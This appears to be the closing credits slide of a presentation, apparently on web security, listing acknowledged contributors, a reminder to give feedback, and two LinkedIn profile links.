Ali Pezeshk
Devdatta Akhawee
MSVR (vulnerability reporting)
Joanna Wroblewska (design)
Jeremiah Grossman
REMINDER:
GIVE FEEDBACK!
Find Us on LinkedIn

http://www.linkedin.com/profile/view?id=5821808

http://www.linkedin.com/profile/view?id=1565455